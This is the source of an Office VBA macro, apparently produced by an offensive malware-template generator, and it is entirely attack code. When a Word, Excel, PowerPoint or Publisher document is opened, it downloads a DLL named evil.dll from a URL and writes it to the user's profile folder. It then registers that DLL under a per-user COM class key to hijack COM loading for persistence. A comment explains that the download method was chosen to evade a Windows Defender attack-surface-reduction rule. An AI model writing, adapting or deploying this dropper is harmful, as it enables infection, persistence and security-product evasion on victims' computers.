Function obf_SaveToFile(ByVal obf_saveAs As String, ByRef obf_data() As Byte) As Boolean
    On Error GoTo obf_ProcError

    Dim obf_out
    Dim obf_shell: Set obf_shell = CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_out = obf_shell.ExpandEnvironmentStrings(obf_saveAs)

    With CreateObject("Adodb.Stream")
        .Type = 1
        .Open
        .write obf_data
        .savetofile obf_out, 2
    End With
    obf_SaveToFile = True
    Exit Function

obf_ProcError:
    obf_SaveToFile = False
End Function

Function obf_DownloadFromURL(ByVal obf_URL As String) As String
    On Error GoTo obf_ProcError

    '
    ' Among different ways to download content from the Internet via VBScript:
    '   - WinHttp.WinHttpRequest.5.1
    '   - Msxml2.XMLHTTP
    '   - Microsoft.XMLHTTP
    ' only the last one was not blocked by Windows Defender Exploit Guard ASR rule:
    '   "Block Javascript or VBScript from launching downloaded executable content"
    '
    With CreateObject("Microsoft.XMLHTTP")
        .Open "GET", obf_URL, False
        .setRequestHeader "Accept", "*/*"
        .setRequestHeader "Accept-Language", "en-US,en;q=0.9"
        .setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
        .setRequestHeader "Accept-Encoding", "gzip, deflate"
        .setRequestHeader "Cache-Control", "private, no-store, max-age=0"
        .setRequestHeader "DNT", "1"
        .Send

        If .Status = 200 Then
            obf_DownloadFromURL = StrConv(.ResponseBody, vbUnicode)
            Exit Function
        End If
    End With

obf_ProcError:
    obf_DownloadFromURL = ""
End Function

Sub obf_COMHijack(ByVal obf_dllLocation As String)
    On Error GoTo obf_ProcError
    Dim obf_LaunchIt As Boolean
    Dim obf_clsid, obf_regProv, obf_hkRoot, obf_comType
    Dim obf_objReg, obf_bHasAccessRight, obf_regPath

    obf_LaunchIt = False
    obf_clsid = "{0358B920-0AC7-461F-98F4-58E32CD89148}"
    obf_regPath = "Software\Classes\CLSID"

    '
    ' InprocServer32 - DLL
    ' LocalServer32  - EXE
    '
    obf_comType = "InprocServer32"

    '
    ' &H80000001 - HKEY_CURRENT_USER
    ' &H80000002 - HKEY_LOCAL_MACHINE
    '
    obf_hkRoot = &H80000001

    Set obf_objReg = GetObject("winmgmts:\\.\root\default:StdRegProv")

    obf_objReg.CreateKey      obf_hkRoot, obf_regPath & "\" & obf_clsid & "\" & obf_comType
    obf_objReg.SetStringValue obf_hkRoot, obf_regPath & "\" & obf_clsid, "", ""
    obf_objReg.SetStringValue obf_hkRoot, obf_regPath & "\" & obf_clsid & "\" & obf_comType, "", obf_dllLocation
    obf_objReg.SetStringValue obf_hkRoot, obf_regPath & "\" & obf_clsid & "\" & obf_comType, "ThreadingModel", "Apartment"

    If obf_LaunchIt Then
        
    End If    

obf_ProcError:
End Sub

Public Function obf_ShellcodeGet() As String
    On Error GoTo obf_ProcError

    obf_ShellcodeGet = obf_DownloadFromURL("http://localhost:8080/evil.dll")
    Exit Function

obf_ProcError:
    obf_ShellcodeGet = ""
End Function

Function obf_ShellcodeEntry() As String

    obf_ShellcodeEntry = obf_ShellcodeGet
End Function

Sub obf_DropFile(ByVal obf_saveto As String)
    On Error GoTo obf_ProcError
    Dim obf_code
    Dim obf_bytes() As Byte
    Dim obf_LaunchIt As Boolean
    obf_LaunchIt = False
    
    obf_code = ""
    obf_code = obf_ShellcodeEntry

    obf_bytes = StrConv(obf_code, vbFromUnicode)
    obf_SaveToFile obf_saveto, obf_bytes

obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError
    Dim obf_location, obf_path
    
    Dim obf_shell As Object: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_path = obf_shell.ExpandEnvironmentStrings("%USERPROFILE%\")
    obf_location = obf_path & "evil.dll"

    Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
    If obf_FSO.FolderExists(obf_path) Then
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        End If
    Else
        obf_FSO.CreateFolder (obf_path)
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        End If
    End If

    If obf_FSO.FileExists(obf_location) Then
        obf_COMHijack obf_location
    End If

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub